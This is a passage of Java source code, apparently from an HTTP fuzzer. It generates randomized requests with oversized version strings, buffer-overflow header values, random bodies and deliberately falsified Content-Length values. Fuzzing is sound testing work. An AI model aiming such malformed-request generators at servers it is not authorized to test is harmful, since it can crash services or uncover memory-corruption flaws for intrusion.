q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehfaksjfopq8234ufqwoejfp8q23uefkjawepf8q2kl3e4jfaw89eflq2kef8awedlf2q9p8eflqwkjefp98q2ueofjqwp8edf2kejhfp98qwefoq2h3ehf");
		RandomSelector pathSelector = new UniformRandomSelector(paths);
			
		/* Desition selector */
		Set booleans = new HashSet();
		booleans.add(new Boolean(true));
		booleans.add(new Boolean(false));
		RandomSelector desition = new UniformRandomSelector(booleans);
		
		Set cases = new HashSet();
		for (int i = 0; i < count; i++) {
			
			SimpleFuzzCase fuzzCase = new SimpleFuzzCase();
			
			/* Fuzz HTTP version? */
			if (fuzzHTTPVersion) {
				if (((Boolean) desition.selectOne()).booleanValue()) {
					fuzzCase.setHttpVersion(strategy.getStringAttack(256,513));
				}
			}
			
			/* Select random properties */
			Collection headersCollection = new HashSet();
			Iterator propertyClasses = propertiesSelector.selectSome().iterator();
			while (propertyClasses.hasNext()) {
				headersCollection.add(this.getInstance((Class) propertyClasses.next()));
			}
			fuzzCase.setRequestProperties(headersCollection);
			
			/* Select random method */
			fuzzCase.setMethod((String) methodSelector.selectOne());
			
			/* Select random path */
			fuzzCase.setPath((String) pathSelector.selectOne());
			
			/* POST options */
			if (fuzzCase.getMethod().equals("POST")) {
				
				/* Send content? */
				if (((Boolean) desition.selectOne()).booleanValue()) {
					char[] content = this.getRandomContent();
					fuzzCase.setContent(content);
					
					/* What do we do with the content length? */
					Set contents = new HashSet();
					contents.add(new Integer(content.length).toString());
					contents.add(new Integer(content.length / 2).toString());
					contents.add(new Integer(content.length * 2).toString());
					contents.add(new Integer(0 - content.length).toString());
					contents.add(new Long(Integer.MAX_VALUE * 2).toString());
					contents.add("FRUTA&VERDURA_FRESCA!");
					RandomSelector contentLengthSelector = new UniformRandomSelector(contents);
					fuzzCase.setAlternativeContentLength((String) contentLengthSelector.selectOne());
					fuzzCase.useAlternativeContentLength(true);
				}
				
			}
			
			cases.add(fuzzCase);
			
		}
		
		return cases.iterator();
	}
	
	/**
	 * @param headerClass
	 * @return
	 */
	private HeaderProperty getInstance(Class headerClass) {
		HeaderProperty property = null;
		try {
			Constructor constructor = headerClass.getConstructor(new Class[] {AttackStrategy.class});
			property = (HeaderProperty) constructor.newInstance(new Object[] {new BufferOverflowStrategy()});
		} catch (SecurityException e) {
		} catch (NoSuchMethodException e) {
		} catch (IllegalArgumentException e) {
		} catch (InstantiationException e) {
		} catch (IllegalAccessException e) {
		} catch (InvocationTargetException e) {
		}
		return property;
	}
	
	/**
	 * @return
	 */
	private char[] getRandomContent() {
		int size = ((int) (Math.random() * 1024)) + 11;
		StringBuffer buffer = new StringBuffer();
		for (int i = 0; i < size; i++) {
			buffer.append((char) ((Math.random() * 64) + 64));
		}
		return buffer.toString().toCharArray();
	}
		
	/**
	 * 
	 * Example: Accept: audio/*; q=0.2, audio/basic
	 * @return
	 */
	private Iterator getListWithParamHeaders() {
		Set set = new HashSet();
		set.add("Accept");
		set.add("Accept-Charset");
		set.add("Accept-Encoding");
		set.add("Accept-Language");
		return set.iterator();
	}
	
	/**
	 * Example: 
	 * @return
	 */
	private Iterator getListHeaders() {
		Set set = new HashSet();
		//set.add("If-Match");
		set.add("If-None-Match");
		set.add("Upgrade");
		return set.iterator();
	}
	
	/**
	 * @return
	 */
	private Iterator getStringHeaders() {
		Set set = new HashSet();
		set.add("If-Modified-Since");
		set.add("If-Unmodified-Since");
		set.add("User-Agent");
		return set.iterator();
	}
}
